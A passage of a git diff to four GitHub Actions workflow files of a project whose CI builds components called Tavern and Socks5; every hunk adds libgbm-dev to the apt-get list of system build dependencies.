b/.github/workflows/e2e-asset-execution.yml index d37cf7eab..758118842 100644 --- a/.github/workflows/e2e-asset-execution.yml +++ b/.github/workflows/e2e-asset-execution.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + sudo apt-get install -y libgbm-dev libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: 🔨 Build Tavern run: | go mod download diff --git a/.github/workflows/e2e-portals.yml b/.github/workflows/e2e-portals.yml index 8ef4ff296..bbd3143dc 100644 --- a/.github/workflows/e2e-portals.yml +++ b/.github/workflows/e2e-portals.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev jq + sudo apt-get install -y libgbm-dev libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev jq - name: 🔨 Build Tavern & Socks5 diff --git a/.github/workflows/e2e-repl-test.yml b/.github/workflows/e2e-repl-test.yml index 6482e2c4d..c36b5943b 100644 --- a/.github/workflows/e2e-repl-test.yml +++ b/.github/workflows/e2e-repl-test.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + sudo apt-get install -y libgbm-dev libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: 🔨 Build Tavern run: | diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 1281ab5f0..5abe59b18 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -83,7 +83,7 @@ jobs: shell: powershell - name: Install system dependencies (Linux) if: matrix.os == 'ubuntu-latest' - run: sudo apt-get update && sudo apt-get install -y libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + run: sudo apt-get update && sudo apt-get install -y libgbm-dev libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: Setup Rust uses: dtolnay/rust-toolchain@master with: